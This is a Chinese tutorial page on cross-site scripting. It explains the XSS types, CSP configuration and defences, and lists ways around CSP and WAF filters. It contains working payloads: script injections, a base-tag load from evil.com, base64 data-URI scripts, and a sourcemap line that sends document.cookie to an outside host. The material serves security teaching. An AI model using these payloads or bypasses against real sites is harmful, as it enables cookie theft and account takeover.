Skip to content

XSS(夸站脚本攻击)

什么是XSS

XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。

XSS四种类型

XSS 分为四种类型:反射型XSS储存型XSSDOM XSSBlind XSS

反射型XSS

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:

<?php echo "<p>hello, $_GET['user']</p>";?> ,那么在访问时设置

/?user=</p><script>alert("hack")</script><p> ,则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

储存型XSS

储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。

DOM XSS

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。

javascript
<html>

<head>
  <title>DOM Based XSS Demo</title>
  <script>
    function xsstest() {
      var str = document.getElementById("input").value;
      document.getElementById("output").innerHTML = "<img src='" + str + "'></img>";
    }
  </script>
</head>

<body>
  <div id="output"></div>
  <input type="text" id="input" size=50 value="" />
  <input type="button" value="submit" onclick="xsstest()" />
</body>

</html>
<html>

<head>
  <title>DOM Based XSS Demo</title>
  <script>
    function xsstest() {
      var str = document.getElementById("input").value;
      document.getElementById("output").innerHTML = "<img src='" + str + "'></img>";
    }
  </script>
</head>

<body>
  <div id="output"></div>
  <input type="text" id="input" size=50 value="" />
  <input type="button" value="submit" onclick="xsstest()" />
</body>

</html>

输入 x' onerror='javascript:alert(/xss/) 即可触发。

Blind XSS

Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。

XSS的危害

存在XSS漏洞时,可能会导致以下几种情况:

  1. 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
  2. 攻击者能够在一定限度内记录用户的键盘输入。
  3. 攻击者通过CSRF等方式以用户身份执行危险操作。
  4. XSS蠕虫。
  5. 获取用户浏览器信息。
  6. 利用XSS漏洞扫描用户内网。

CSP

Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。

配置

CSP配置:CSP策略可以通过 HTTP 头信息或者 meta 元素定义,CSP 有三类:

Content-Security-Policy (Google Chrome)

X-Content-Security-Policy (Firefox)

X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

HTTP header:
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP header:
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

HTML Meta:

<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

指令说明

指令说明
default-src定义资源默认加载策略
connect-src定义 Ajax、WebSocket 等加载策略
font-src定义 Font 加载策略
frame-src定义 Frame 加载策略
img-src定义图片加载策略
media-src定义 <audio><video> 等引用资源加载策略
object-src定义 <applet><embed><object> 等引用资源加载策略
script-src定义 JS 加载策略
style-src定义 CSS 加载策略
base-uri定义 <base> 根URL策略,不使用default-src作为默认值
sandbox值为 allow-forms,对资源启用 sandbox
report-uri值为 /report-uri,提交日志

关键字

关键字描述
-允许从任意url加载,除了 data: blob: filesystem: schemes(e.g. img-src -
none禁止从任何url加载资源(e.g. object-src 'none'
self只可以加载同源资源(e.g. img-src 'self'
data:可以通过data协议加载资源(e.g. img-src 'self' data:
domain.example.com只可以从特定的域加载资源(e.g. img-src domain.example.com
\*.example.com可以从任意example.com的子域处加载资源(e.g. img-src \*.example.com
https://cdn.com只能从给定的域用https加载资源(e.g. img-src https://cdn.com
https:只能从任意域用https加载资源(e.g. img-src https:
unsafe-inline允许内部资源执行代码例如style attribute,onclick或者是sicript标签(e.g. script-src 'unsafe-inline'
unsafe-eval允许一些不安全的代码执行方式,例如js的eval()(e.g. script-src 'unsafe-eval'
nonce-<base64-value>'使用随机的nonce,允许加载标签上nonce属性匹配的标签(e.g. script-src 'nonce-bm9uY2U='
<hash-algo>-<base64-value>'允许hash值匹配的代码块被执行(e.g. script-src 'sha256-<base64-value>'

配置范例

允许执行内联 JS 代码,但不允许加载外部资源

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

Bypass

预加载

浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如

javascript
<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->
<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

另外,不是所有的页面都能够被预加载,当资源类型如下时,将阻止预加载操作:

URL中包含下载资源;

页面中包含音频、视频;

POST、PUT和DELET操作的ajax请求;

HTTP认证;

HTTPS页面;

含恶意软件的页面;

弹窗页面;

占用资源很多的页面;

打开了chrome developer tools开发工具;

MIME Sniff

举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再<script href='http://xxx.com/xx.jpg'>,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本

302跳转

对于302跳转绕过CSP而言,实际上有以下几点限制:

  • 跳板必须在允许的域内。
  • 要加载的文件的host部分必须跟允许的域的host部分一致。

iframe

当可以执行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../ /%2e%2e%2f 等可能触发服务器报错的链接也可以到达相应的目的。

base-uri

当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js

javascript
<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>
<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>

其他

  • location 绕过
  • 可上传SVG时,通过恶意SVG绕过同源站点
  • 存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析
  • CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass
  • Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
  • jQuery sourcemap:
document.write(`<script>
//@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
document.write(`<script>
//@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
  • a标签的ping属性
  • For FireFox:

    <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">

  • <link rel="import" />
  • <meta http-equiv="refresh" content="0; url=http://...." />
  • 仅限制 script-src 时:

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

XSS数据源

途径说明
URLlocation location.href location.pathname location.search location.hash document.URL document.documentURI document.baseURI
Navigationwindow.name document.referrer
CommunicationAjax Fetch WebSocket PostMessage
StorageCookie LocalStorage SessionStorage

Sink

  • 执行JavaScript:

    • eval(payload)
    • setTimeout(payload, 100)
    • setInterval(payload, 100)
    • Function(payload)()
    • <script>payload</script>
    • <img src=x onerror=payload>
  • 加载URL:

    • location=javascript:alert(/xss/)
    • location.href=javascript:alert(/xss/)
    • location.assign(javascript:alert(/xss/))
    • location.replace(javascript:alert(/xss/))
  • 执行HTML:

    • xx.innerHTML=payload
    • xx.outerHTML=payload
    • document.write(payload)
    • document.writeln(payload)

XSS保护

HTML过滤

使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。

X-Frame

X-Frame-Options 响应头有三个可选的值:

  • DENY:页面不能被嵌入到任何iframe或frame中
  • SAMEORIGIN:页面只能被本站页面嵌入到iframe或者frame中
  • ALLOW-FROM:页面允许frame或frame加载

WAF Bypass

  • 利用<>标记

  • 利用html属性

    • href
    • lowsrc
    • bgsound
    • background
    • value
    • action
    • dynsrc
  • 关键字

    • 利用回车拆分
    • 字符串拼接:window["al" + "ert"]
  • 利用编码绕过

    • base64
    • jsfuck
    • String.fromCharCode
    • HTML
    • URL
    • hex:window["\x61\x6c\x65\x72\x74"]
    • unicode
    • utf7:+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
    • utf16
  • 大小写混淆

  • 对标签属性值转码

  • 产生事件

  • css跨站解析

  • 长度限制bypass

    • eval(name)
    • eval(hash)
    • import
    • $.getScript
    • $.get
  • .

    • 使用 。 绕过IP/域名
    • document['cookie'] 绕过属性取值
  • 过滤引号用 ` 绕过

技巧

  • httponly
  • CSS 注入
  • Bypass Via Script Gadgets
  • RPO(Relative Path Overwrite)

Payload

整理中...

持久化

基于存储

有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。

在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。

Service Worker

Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。

在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。

AppCache

在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。